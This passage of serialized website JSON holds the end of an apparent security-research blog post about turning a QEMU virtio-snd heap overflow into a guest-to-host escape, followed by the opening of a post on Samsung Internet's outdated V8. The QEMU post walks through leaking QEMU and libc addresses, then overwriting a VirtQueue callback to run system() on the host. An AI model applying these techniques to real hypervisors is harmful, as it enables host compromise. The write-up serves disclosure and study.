sizeof",{"type":23,"tag":481,"props":128475,"children":128476},{"style":525},[128477],{"type":28,"value":128478},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":481,"props":128480,"children":128481},{"class":483,"line":1369},[128482,128486,128491,128495,128500],{"type":23,"tag":481,"props":128483,"children":128484},{"style":535},[128485],{"type":28,"value":790},{"type":23,"tag":481,"props":128487,"children":128488},{"style":525},[128489],{"type":28,"value":128490}," (msg_sz ",{"type":23,"tag":481,"props":128492,"children":128493},{"style":514},[128494],{"type":28,"value":13178},{"type":23,"tag":481,"props":128496,"children":128497},{"style":497},[128498],{"type":28,"value":128499}," sizeof",{"type":23,"tag":481,"props":128501,"children":128502},{"style":525},[128503],{"type":28,"value":128504},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":481,"props":128506,"children":128507},{"class":483,"line":1377},[128508,128512],{"type":23,"tag":481,"props":128509,"children":128510},{"style":535},[128511],{"type":28,"value":58077},{"type":23,"tag":481,"props":128513,"children":128514},{"style":525},[128515],{"type":28,"value":128516}," rx_err;\n",{"type":23,"tag":481,"props":128518,"children":128519},{"class":483,"line":1437},[128520],{"type":23,"tag":481,"props":128521,"children":128522},{"style":525},[128523],{"type":28,"value":870},{"type":23,"tag":481,"props":128525,"children":128526},{"class":483,"line":6528},[128527,128532,128536,128540,128544,128549,128553,128558],{"type":23,"tag":481,"props":128528,"children":128529},{"style":525},[128530],{"type":28,"value":128531}," stream_id ",{"type":23,"tag":481,"props":128533,"children":128534},{"style":514},[128535],{"type":28,"value":603},{"type":23,"tag":481,"props":128537,"children":128538},{"style":610},[128539],{"type":28,"value":123404},{"type":23,"tag":481,"props":128541,"children":128542},{"style":525},[128543],{"type":28,"value":618},{"type":23,"tag":481,"props":128545,"children":128546},{"style":508},[128547],{"type":28,"value":128548},"hdr",{"type":23,"tag":481,"props":128550,"children":128551},{"style":525},[128552],{"type":28,"value":199},{"type":23,"tag":481,"props":128554,"children":128555},{"style":508},[128556],{"type":28,"value":128557},"stream_id",{"type":23,"tag":481,"props":128559,"children":128560},{"style":525},[128561],{"type":28,"value":1366},{"type":23,"tag":481,"props":128563,"children":128564},{"class":483,"line":6546},[128565],{"type":23,"tag":481,"props":128566,"children":128567},{"emptyLinePlaceholder":15},[128568],{"type":28,"value":1210},{"type":23,"tag":481,"props":128570,"children":128571},{"class":483,"line":6591},[128572],{"type":23,"tag":481,"props":128573,"children":128574},{"style":525},[128575],{"type":28,"value":121571},{"type":23,"tag":481,"props":128577,"children":128578},{"class":483,"line":6697},[128579],{"type":23,"tag":481,"props":128580,"children":128581},{"emptyLinePlaceholder":15},[128582],{"type":28,"value":1210},{"type":23,"tag":481,"props":128584,"children":128585},{"class":483,"line":21008},[128586,128590,128594,128598,128602,128606,128610],{"type":23,"tag":481,"props":128587,"children":128588},{"style":610},[128589],{"type":28,"value":121586},{"type":23,"tag":481,"props":128591,"children":128592},{"style":525},[128593],{"type":28,"value":618},{"type":23,"tag":481,"props":128595,"children":128596},{"style":514},[128597],{"type":28,"value":623},{"type":23,"tag":481,"props":128599,"children":128600},{"style":508},[128601],{"type":28,"value":33779},{"type":23,"tag":481,"props":128603,"children":128604},{"style":525},[128605],{"type":28,"value":11245},{"type":23,"tag":481,"props":128607,"children":128608},{"style":508},[128609],{"type":28,"value":121607},{"type":23,"tag":481,"props":128611,"children":128612},{"style":525},[128613],{"type":28,"value":12292},{"type":23,"tag":481,"props":128615,"children":128616},{"class":483,"line":21043},[128617,128621,128625,128629,128633,128637,128641,128645,128649,128653,128657,128661,128665],{"type":23,"tag":481,"props":128618,"children":128619},{"style":525},[128620],{"type":28,"value":121619},{"type":23,"tag":481,"props":128622,"children":128623},{"style":514},[128624],{"type":28,"value":603},{"type":23,"tag":481,"props":128626,"children":128627},{"style":610},[128628],{"type":28,"value":121628},{"type":23,"tag":481,"props":128630,"children":128631},{"style":525},[128632],{"type":28,"value":618},{"type":23,"tag":481,"props":128634,"children":128635},{"style":508},[128636],{"type":28,"value":49590},{"type":23,"tag":481,"props":128638,"children":128639},{"style":525},[128640],{"type":28,"value":11245},{"type":23,"tag":481,"props":128642,"children":128643},{"style":508},[128644],{"type":28,"value":121645},{"type":23,"tag":481,"props":128646,"children":128647},{"style":525},[128648],{"type":28,"value":588},{"type":23,"tag":481,"props":128650,"children":128651},{"style":508},[128652],{"type":28,"value":49590},{"type":23,"tag":481,"props":128654,"children":128655},{"style":525},[128656],{"type":28,"value":11245},{"type":23,"tag":481,"props":128658,"children":128659},{"style":508},[128660],{"type":28,"value":121662},{"type":23,"tag":481,"props":128662,"children":128663},{"style":525},[128664],{"type":28,"value":598},{"type":23,"tag":481,"props":128666,"children":128667},{"style":514},[128668],{"type":28,"value":48387},{"type":23,"tag":481,"props":128670,"children":128671},{"class":483,"line":21051},[128672,128676],{"type":23,"tag":481,"props":128673,"children":128674},{"style":497},[128675],{"type":28,"value":121678},{"type":23,"tag":481,"props":128677,"children":128678},{"style":525},[128679],{"type":28,"value":128680},"(virtio_snd_pcm_status);\n",{"type":23,"tag":481,"props":128682,"children":128683},{"class":483,"line":21059},[128684,128688,128692,128696,128700,128704,128708,128712,128717],{"type":23,"tag":481,"props":128685,"children":128686},{"style":525},[128687],{"type":28,"value":121696},{"type":23,"tag":481,"props":128689,"children":128690},{"style":514},[128691],{"type":28,"value":603},{"type":23,"tag":481,"props":128693,"children":128694},{"style":610},[128695],{"type":28,"value":121705},{"type":23,"tag":481,"props":128697,"children":128698},{"style":525},[128699],{"type":28,"value":618},{"type":23,"tag":481,"props":128701,"children":128702},{"style":497},[128703],{"type":28,"value":52854},{"type":23,"tag":481,"props":128705,"children":128706},{"style":525},[128707],{"type":28,"value":121718},{"type":23,"tag":481,"props":128709,"children":128710},{"style":514},[128711],{"type":28,"value":1930},{"type":23,"tag":481,"props":128713,"children":128714},{"style":525},[128715],{"type":28,"value":128716}," size);",{"type":23,"tag":481,"props":128718,"children":128719},{"style":488},[128720],{"type":28,"value":128721}," // [1]\n",{"type":23,"tag":481,"props":128723,"children":128724},{"class":483,"line":21068},[128725,128729,128733,128737,128741],{"type":23,"tag":481,"props":128726,"children":128727},{"style":508},[128728],{"type":28,"value":121735},{"type":23,"tag":481,"props":128730,"children":128731},{"style":525},[128732],{"type":28,"value":11245},{"type":23,"tag":481,"props":128734,"children":128735},{"style":508},[128736],{"type":28,"value":49590},{"type":23,"tag":481,"props":128738,"children":128739},{"style":514},[128740],{"type":28,"value":517},{"type":23,"tag":481,"props":128742,"children":128743},{"style":525},[128744],{"type":28,"value":121752},{"type":23,"tag":481,"props":128746,"children":128747},{"class":483,"line":21110},[128748,128752,128756,128760,128764,128769],{"type":23,"tag":481,"props":128749,"children":128750},{"style":508},[128751],{"type":28,"value":121735},{"type":23,"tag":481,"props":128753,"children":128754},{"style":525},[128755],{"type":28,"value":11245},{"type":23,"tag":481,"props":128757,"children":128758},{"style":508},[128759],{"type":28,"value":121404},{"type":23,"tag":481,"props":128761,"children":128762},{"style":514},[128763],{"type":28,"value":517},{"type":23,"tag":481,"props":128765,"children":128766},{"style":525},[128767],{"type":28,"value":128768}," vq;",{"type":23,"tag":481,"props":128770,"children":128771},{"style":488},[128772],{"type":28,"value":128773}," // [2]\n",{"type":23,"tag":481,"props":128775,"children":128776},{"class":483,"line":21143},[128777,128781,128785,128789,128793,128797],{"type":23,"tag":481,"props":128778,"children":128779},{"style":508},[128780],{"type":28,"value":121735},{"type":23,"tag":481,"props":128782,"children":128783},{"style":525},[128784],{"type":28,"value":11245},{"type":23,"tag":481,"props":128786,"children":128787},{"style":508},[128788],{"type":28,"value":121792},{"type":23,"tag":481,"props":128790,"children":128791},{"style":514},[128792],{"type":28,"value":517},{"type":23,"tag":481,"props":128794,"children":128795},{"style":551},[128796],{"type":28,"value":554},{"type":23,"tag":481,"props":128798,"children":128799},{"style":525},[128800],{"type":28,"value":528},{"type":23,"tag":481,"props":128802,"children":128803},{"class":483,"line":21151},[128804,128808,128812,128816,128820,128824],{"type":23,"tag":481,"props":128805,"children":128806},{"style":508},[128807],{"type":28,"value":121735},{"type":23,"tag":481,"props":128809,"children":128810},{"style":525},[128811],{"type":28,"value":11245},{"type":23,"tag":481,"props":128813,"children":128814},{"style":508},[128815],{"type":28,"value":11389},{"type":23,"tag":481,"props":128817,"children":128818},{"style":514},[128819],{"type":28,"value":517},{"type":23,"tag":481,"props":128821,"children":128822},{"style":551},[128823],{"type":28,"value":554},{"type":23,"tag":481,"props":128825,"children":128826},{"style":525},[128827],{"type":28,"value":528},{"type":23,"tag":481,"props":128829,"children":128830},{"class":483,"line":21159},[128831,128835,128839,128843,128847,128851,128855],{"type":23,"tag":481,"props":128832,"children":128833},{"style":610},[128834],{"type":28,"value":121839},{"type":23,"tag":481,"props":128836,"children":128837},{"style":525},[128838],{"type":28,"value":618},{"type":23,"tag":481,"props":128840,"children":128841},{"style":514},[128842],{"type":28,"value":623},{"type":23,"tag":481,"props":128844,"children":128845},{"style":508},[128846],{"type":28,"value":33779},{"type":23,"tag":481,"props":128848,"children":128849},{"style":525},[128850],{"type":28,"value":11245},{"type":23,"tag":481,"props":128852,"children":128853},{"style":508},[128854],{"type":28,"value":121860},{"type":23,"tag":481,"props":128856,"children":128857},{"style":525},[128858],{"type":28,"value":128859},", buffer, entry);\n",{"type":23,"tag":481,"props":128861,"children":128862},{"class":483,"line":21168},[128863],{"type":23,"tag":481,"props":128864,"children":128865},{"style":525},[128866],{"type":28,"value":870},{"type":23,"tag":24,"props":128868,"children":128869},{},[128870,128871,128876,128878,128883,128885,128890,128892,128898],{"type":28,"value":121914},{"type":23,"tag":64,"props":128872,"children":128874},{"className":128873},[],[128875],{"type":28,"value":121920},{"type":28,"value":128877},", QEMU allocates a ",{"type":23,"tag":64,"props":128879,"children":128881},{"className":128880},[],[128882],{"type":28,"value":122057},{"type":28,"value":128884}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":64,"props":128886,"children":128888},{"className":128887},[],[128889],{"type":28,"value":121955},{"type":28,"value":128891}," it stores the ",{"type":23,"tag":64,"props":128893,"children":128895},{"className":128894},[],[128896],{"type":28,"value":128897},"VirtQueue *vq",{"type":28,"value":128899}," pointer into the buffer.",{"type":23,"tag":24,"props":128901,"children":128902},{},[128903,128904,128910],{"type":28,"value":61745},{"type":23,"tag":64,"props":128905,"children":128907},{"className":128906},[],[128908],{"type":28,"value":128909},"VirtQueue",{"type":28,"value":128911}," structure contains some useful fields:",{"type":23,"tag":435,"props":128913,"children":128915},{"code":128914,"language":661,"meta":7,"className":14005,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[128916],{"type":23,"tag":64,"props":128917,"children":128918},{"__ignoreMap":7},[128919,128931,128938,128945,128952,128960,128977,128984,128991],{"type":23,"tag":481,"props":128920,"children":128921},{"class":483,"line":484},[128922,128926],{"type":23,"tag":481,"props":128923,"children":128924},{"style":497},[128925],{"type":28,"value":6884},{"type":23,"tag":481,"props":128927,"children":128928},{"style":525},[128929],{"type":28,"value":128930}," VirtQueue\n",{"type":23,"tag":481,"props":128932,"children":128933},{"class":483,"line":351},[128934],{"type":23,"tag":481,"props":128935,"children":128936},{"style":525},[128937],{"type":28,"value":8366},{"type":23,"tag":481,"props":128939,"children":128940},{"class":483,"line":531},[128941],{"type":23,"tag":481,"props":128942,"children":128943},{"style":525},[128944],{"type":28,"value":102333},{"type":23,"tag":481,"props":128946,"children":128947},{"class":483,"line":567},[128948],{"type":23,"tag":481,"props":128949,"children":128950},{"emptyLinePlaceholder":15},[128951],{"type":28,"value":1210},{"type":23,"tag":481,"props":128953,"children":128954},{"class":483,"line":678},[128955],{"type":23,"tag":481,"props":128956,"children":128957},{"style":525},[128958],{"type":28,"value":128959}," VirtIOHandleOutput handle_output;\n",{"type":23,"tag":481,"props":128961,"children":128962},{"class":483,"line":784},[128963,128968,128972],{"type":23,"tag":481,"props":128964,"children":128965},{"style":525},[128966],{"type":28,"value":128967}," VirtIODevice ",{"type":23,"tag":481,"props":128969,"children":128970},{"style":514},[128971],{"type":28,"value":2120},{"type":23,"tag":481,"props":128973,"children":128974},{"style":525},[128975],{"type":28,"value":128976},"vdev;\n",{"type":23,"tag":481,"props":128978,"children":128979},{"class":483,"line":812},[128980],{"type":23,"tag":481,"props":128981,"children":128982},{"emptyLinePlaceholder":15},[128983],{"type":28,"value":1210},{"type":23,"tag":481,"props":128985,"children":128986},{"class":483,"line":825},[128987],{"type":23,"tag":481,"props":128988,"children":128989},{"style":525},[128990],{"type":28,"value":102333},{"type":23,"tag":481,"props":128992,"children":128993},{"class":483,"line":843},[128994],{"type":23,"tag":481,"props":128995,"children":128996},{"style":525},[128997],{"type":28,"value":14068},{"type":23,"tag":24,"props":128999,"children":129000},{},[129001,129002,129008,129010,129016],{"type":28,"value":14104},{"type":23,"tag":64,"props":129003,"children":129005},{"className":129004},[],[129006],{"type":28,"value":129007},".handle_output",{"type":28,"value":129009}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":64,"props":129011,"children":129013},{"className":129012},[],[129014],{"type":28,"value":129015},".vdev",{"type":28,"value":129017}," is the pointer passed to it as the first argument:",{"type":23,"tag":435,"props":129019,"children":129021},{"code":129020,"language":661,"meta":7,"className":14005,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[129022],{"type":23,"tag":64,"props":129023,"children":129024},{"__ignoreMap":7},[129025,129058,129065,129120,129157,129164,129171,129178,129199,129206,129213,129220],{"type":23,"tag":481,"props":129026,"children":129027},{"class":483,"line":484},[129028,129032,129036,129041,129046,129050,129054],{"type":23,"tag":481,"props":129029,"children":129030},{"style":497},[129031],{"type":28,"value":48570},{"type":23,"tag":481,"props":129033,"children":129034},{"style":497},[129035],{"type":28,"value":48575},{"type":23,"tag":481,"props":129037,"children":129038},{"style":610},[129039],{"type":28,"value":129040}," virtio_queue_notify_vq",{"type":23,"tag":481,"props":129042,"children":129043},{"style":525},[129044],{"type":28,"value":129045},"(VirtQueue ",{"type":23,"tag":481,"props":129047,"children":129048},{"style":514},[129049],{"type":28,"value":2120},{"type":23,"tag":481,"props":129051,"children":129052},{"style":508},[129053],{"type":28,"value":121404},{"type":23,"tag":481,"props":129055,"children":129056},{"style":525},[129057],{"type":28,"value":675},{"type":23,"tag":481,"props":129059,"children":129060},{"class":483,"line":351},[129061],{"type":23,"tag":481,"props":129062,"children":129063},{"style":525},[129064],{"type":28,"value":8366},{"type":23,"tag":481,"props":129066,"children":129067},{"class":483,"line":531},[129068,129072,129076,129080,129084,129089,129093,129098,129102,129107,129111,129116],{"type":23,"tag":481,"props":129069,"children":129070},{"style":535},[129071],{"type":28,"value":9766},{"type":23,"tag":481,"props":129073,"children":129074},{"style":525},[129075],{"type":28,"value":578},{"type":23,"tag":481,"props":129077,"children":129078},{"style":508},[129079],{"type":28,"value":121404},{"type":23,"tag":481,"props":129081,"children":129082},{"style":525},[129083],{"type":28,"value":11245},{"type":23,"tag":481,"props":129085,"children":129086},{"style":508},[129087],{"type":28,"value":129088},"vring",{"type":23,"tag":481,"props":129090,"children":129091},{"style":525},[129092],{"type":28,"value":199},{"type":23,"tag":481,"props":129094,"children":129095},{"style":508},[129096],{"type":28,"value":129097},"desc",{"type":23,"tag":481,"props":129099,"children":129100},{"style":514},[129101],{"type":28,"value":11673},{"type":23,"tag":481,"props":129103,"children":129104},{"style":508},[129105],{"type":28,"value":129106}," vq",{"type":23,"tag":481,"props":129108,"children":129109},{"style":525},[129110],{"type":28,"value":11245},{"type":23,"tag":481,"props":129112,"children":129113},{"style":508},[129114],{"type":28,"value":129115},"handle_output",{"type":23,"tag":481,"props":129117,"children":129118},{"style":525},[129119],{"type":28,"value":12292},{"type":23,"tag":481,"props":129121,"children":129122},{"class":483,"line":567},[129123,129128,129132,129137,129141,129145,129149,129153],{"type":23,"tag":481,"props":129124,"children":129125},{"style":525},[129126],{"type":28,"value":129127}," VirtIODevice ",{"type":23,"tag":481,"props":129129,"children":129130},{"style":514},[129131],{"type":28,"value":2120},{"type":23,"tag":481,"props":129133,"children":129134},{"style":525},[129135],{"type":28,"value":129136},"vdev ",{"type":23,"tag":481,"props":129138,"children":129139},{"style":514},[129140],{"type":28,"value":603},{"type":23,"tag":481,"props":129142,"children":129143},{"style":508},[129144],{"type":28,"value":129106},{"type":23,"tag":481,"props":129146,"children":129147},{"style":525},[129148],{"type":28,"value":11245},{"type":23,"tag":481,"props":129150,"children":129151},{"style":508},[129152],{"type":28,"value":121390},{"type":23,"tag":481,"props":129154,"children":129155},{"style":525},[129156],{"type":28,"value":528},{"type":23,"tag":481,"props":129158,"children":129159},{"class":483,"line":678},[129160],{"type":23,"tag":481,"props":129161,"children":129162},{"emptyLinePlaceholder":15},[129163],{"type":28,"value":1210},{"type":23,"tag":481,"props":129165,"children":129166},{"class":483,"line":784},[129167],{"type":23,"tag":481,"props":129168,"children":129169},{"style":525},[129170],{"type":28,"value":121571},{"type":23,"tag":481,"props":129172,"children":129173},{"class":483,"line":812},[129174],{"type":23,"tag":481,"props":129175,"children":129176},{"emptyLinePlaceholder":15},[129177],{"type":28,"value":1210},{"type":23,"tag":481,"props":129179,"children":129180},{"class":483,"line":825},[129181,129186,129190,129194],{"type":23,"tag":481,"props":129182,"children":129183},{"style":508},[129184],{"type":28,"value":129185}," vq",{"type":23,"tag":481,"props":129187,"children":129188},{"style":525},[129189],{"type":28,"value":11245},{"type":23,"tag":481,"props":129191,"children":129192},{"style":610},[129193],{"type":28,"value":129115},{"type":23,"tag":481,"props":129195,"children":129196},{"style":525},[129197],{"type":28,"value":129198},"(vdev, vq);\n",{"type":23,"tag":481,"props":129200,"children":129201},{"class":483,"line":843},[129202],{"type":23,"tag":481,"props":129203,"children":129204},{"emptyLinePlaceholder":15},[129205],{"type":28,"value":1210},{"type":23,"tag":481,"props":129207,"children":129208},{"class":483,"line":864},[129209],{"type":23,"tag":481,"props":129210,"children":129211},{"style":525},[129212],{"type":28,"value":121571},{"type":23,"tag":481,"props":129214,"children":129215},{"class":483,"line":873},[129216],{"type":23,"tag":481,"props":129217,"children":129218},{"style":525},[129219],{"type":28,"value":879},{"type":23,"tag":481,"props":129221,"children":129222},{"class":483,"line":1125},[129223],{"type":23,"tag":481,"props":129224,"children":129225},{"style":525},[129226],{"type":28,"value":1443},{"type":23,"tag":24,"props":129228,"children":129229},{},[129230,129232,129237,129239,129244,129246,129252,129254,129259,129260,129265,129267,129272],{"type":28,"value":129231},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":64,"props":129233,"children":129235},{"className":129234},[],[129236],{"type":28,"value":122057},{"type":28,"value":129238}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":64,"props":129240,"children":129242},{"className":129241},[],[129243],{"type":28,"value":121645},{"type":28,"value":129245}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":64,"props":129247,"children":129249},{"className":129248},[],[129250],{"type":28,"value":129251},".vq",{"type":28,"value":129253}," pointer, then follow that pointer to leak ",{"type":23,"tag":64,"props":129255,"children":129257},{"className":129256},[],[129258],{"type":28,"value":129007},{"type":28,"value":13543},{"type":23,"tag":64,"props":129261,"children":129263},{"className":129262},[],[129264],{"type":28,"value":128909},{"type":28,"value":129266}," structure. In our case, that field points to ",{"type":23,"tag":64,"props":129268,"children":129270},{"className":129269},[],[129271],{"type":28,"value":121297},{"type":28,"value":129273},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":129275,"children":129276},{},[129277,129279,129285],{"type":28,"value":129278},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":64,"props":129280,"children":129282},{"className":129281},[],[129283],{"type":28,"value":129284},"system",{"type":28,"value":199},{"type":23,"tag":7092,"props":129287,"children":129289},{"id":129288},"rip-control",[129290],{"type":28,"value":129291},"RIP Control",{"type":23,"tag":24,"props":129293,"children":129294},{},[129295,129297,129302,129304,129310],{"type":28,"value":129296},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":64,"props":129298,"children":129300},{"className":129299},[],[129301],{"type":28,"value":129284},{"type":28,"value":129303},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":64,"props":129305,"children":129307},{"className":129306},[],[129308],{"type":28,"value":129309},"VirtQueue.handle_output",{"type":28,"value":199},{"type":23,"tag":24,"props":129312,"children":129313},{},[129314,129316,129321,129323,129328,129330,129335],{"type":28,"value":129315},"We overwrite ",{"type":23,"tag":64,"props":129317,"children":129319},{"className":129318},[],[129320],{"type":28,"value":129007},{"type":28,"value":129322}," with the address of ",{"type":23,"tag":64,"props":129324,"children":129326},{"className":129325},[],[129327],{"type":28,"value":129284},{"type":28,"value":129329}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":64,"props":129331,"children":129333},{"className":129332},[],[129334],{"type":28,"value":129015},{"type":28,"value":129336}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":129338,"children":129339},{},[129340,129342,129348,129350,129356,129358,129364],{"type":28,"value":129341},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":64,"props":129343,"children":129345},{"className":129344},[],[129346],{"type":28,"value":129347},"virtio_queue_notify_vq",{"type":28,"value":129349},", which calls ",{"type":23,"tag":64,"props":129351,"children":129353},{"className":129352},[],[129354],{"type":28,"value":129355},"vq->handle_output(vq->vdev)",{"type":28,"value":129357}," - or, after our overwrites, ",{"type":23,"tag":64,"props":129359,"children":129361},{"className":129360},[],[129362],{"type":28,"value":129363},"system(command)",{"type":28,"value":199},{"type":23,"tag":24,"props":129366,"children":129367},{},[129368,129370,129376,129378],{"type":28,"value":129369},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":64,"props":129371,"children":129373},{"className":129372},[],[129374],{"type":28,"value":129375},"gnome-calculator",{"type":28,"value":129377}," on the host system:\n",{"type":23,"tag":28483,"props":129379,"children":129380},{},[],{"type":23,"tag":129382,"props":129383,"children":129392},"tweet-card",{"author-name":129384,"date":129385,"duration":129386,"handle":129387,"media-mime-type":129388,"media-src":129389,"media-type":129390,"tweet-url":129391},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[129393,129398,129403],{"type":23,"tag":24,"props":129394,"children":129395},{},[129396],{"type":28,"value":129397},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":129399,"children":129400},{},[129401],{"type":28,"value":129402},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":129404,"children":129405},{},[129406],{"type":28,"value":129407},"Writeup coming next week.",{"type":23,"tag":28483,"props":129409,"children":129410},{},[],{"type":23,"tag":24,"props":129412,"children":129413},{},[129414,129416,129422,129424,129430],{"type":28,"value":129415},"The final exploit, targeting QEMU commit ",{"type":23,"tag":64,"props":129417,"children":129419},{"className":129418},[],[129420],{"type":28,"value":129421},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":129423}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":190,"props":129425,"children":129428},{"href":129426,"rel":129427},"https://github.com/otter-sec/qemu-escape",[194],[129429],{"type":28,"value":45109},{"type":28,"value":199},{"type":23,"tag":24,"props":129432,"children":129433},{},[129434,129436,129443],{"type":28,"value":129435},"Special thanks to ",{"type":23,"tag":190,"props":129437,"children":129440},{"href":129438,"rel":129439},"https://www.willsroot.io/",[194],[129441],{"type":28,"value":129442},"William Liu",{"type":28,"value":129444}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":31,"props":129446,"children":129447},{"id":26445},[129448],{"type":28,"value":16443},{"type":23,"tag":24,"props":129450,"children":129451},{},[129452],{"type":28,"value":129453},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":129455,"children":129456},{},[129457],{"type":28,"value":129458},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":2918,"props":129460,"children":129461},{},[129462],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":129464},[129465,129468,129471,129480],{"id":121193,"depth":351,"text":121206,"children":129466},[129467],{"id":121214,"depth":531,"text":121217},{"id":121238,"depth":351,"text":121241,"children":129469},[129470],{"id":121252,"depth":531,"text":121252},{"id":97640,"depth":351,"text":97643,"children":129472},[129473,129474,129475,129476,129477,129478,129479],{"id":123844,"depth":531,"text":123847},{"id":125371,"depth":531,"text":125374},{"id":126165,"depth":531,"text":126168},{"id":126570,"depth":531,"text":126573},{"id":126786,"depth":531,"text":126789},{"id":126992,"depth":531,"text":126995},{"id":129288,"depth":531,"text":129291},{"id":26445,"depth":351,"text":16443},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":129485,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":129486,"description":129487,"date":129488,"author":129489,"image":129492,"isFeatured":15,"onBlogPage":15,"tags":129494,"body":129497,"_type":358,"_id":139405,"_source":360,"_file":139406,"_stem":139407,"_extension":363},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[121189,129490,129491],"jamie","william",{"src":129493,"width":94800,"height":11111},"/posts/mobile-renderer-rce/title.png",[129495,129496],"RCE","mobile",{"type":20,"children":129498,"toc":139385},[129499,129503,129508,129522,129528,129542,129563,129571,129584,129592,129605,129611,129624,129638,129644,129658,129761,129766,129774,129779,129784,129805,129883,129891,129910,129923,129929,129935,129949,130065,130070,130075,130083,130088,130096,130124,130153,130165,130341,130346,130354,130373,130386,130392,130412,130426,130431,130436,130464,130500,130569,130575,130597,130602,130610,130623,130628,130636,130641,130680,130686,130699,130704,130882,130892,130900,130920,130944,130957,130963,130968,131610,131615,131623,131665,133654,133659,133667,133673,133706,133724,133894,133952,133977,134071,134076,134867,134872,134880,134891,136935,136940,136948,136954,136976,136990,137003,137015,137045,137050,137491,137519,137626,137643,137800,137805,137817,138113,138139,138162,138294,138306,138311,138463,138499,138512,138517,138639,138680,138757,138762,139336,139342,139354,139367,139371,139376,139381],{"type":23,"tag":31,"props":129500,"children":129501},{"id":26528},[129502],{"type":28,"value":26531},{"type":23,"tag":24,"props":129504,"children":129505},{},[129506],{"type":28,"value":129507},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":129509,"children":129510},{},[129511,129513,129520],{"type":28,"value":129512},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":190,"props":129514,"children":129517},{"href":129515,"rel":129516},"https://cor.team",[194],[129518],{"type":28,"value":129519},"Crusaders of Rust",{"type":28,"value":129521}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":7092,"props":129523,"children":129525},{"id":129524},"finding-the-v8-version",[129526],{"type":28,"value":129527},"Finding the V8 Version",{"type":23,"tag":24,"props":129529,"children":129530},{},[129531,129533,129540],{"type":28,"value":129532},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":190,"props":129534,"children":129537},{"href":129535,"rel":129536},"https://developer.android.com/tools/adb",[194],[129538],{"type":28,"value":129539},"adb",{"type":28,"value":129541}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":129543,"children":129544},{},[129545,129547,129553,129555,129561],{"type":28,"value":129546},"After extracting the APK, we searched the ",{"type":23,"tag":64,"props":129548,"children":129550},{"className":129549},[],[129551],{"type":28,"value":129552},"lib/",{"type":28,"value":129554}," directory for ",{"type":23,"tag":64,"props":129556,"children":129558},{"className":129557},[],[129559],{"type":28,"value":129560},"v8::*",{"type":28,"value":129562}," symbols:",{"type":23,"tag":435,"props":129564,"children":129566},{"code":129565},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[129567],{"type":23,"tag":64,"props":129568,"children":129569},{"__ignoreMap":7},[129570],{"type":28,"value":129565},{"type":23,"tag":24,"props":129572,"children":129573},{},[129574,129576,129582],{"type":28,"value":129575},"Only one file matched our search: ",{"type":23,"tag":64,"props":129577,"children":129579},{"className":129578},[],[129580],{"type":28,"value":129581},"libterrace.so",{"type":28,"value":129583},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 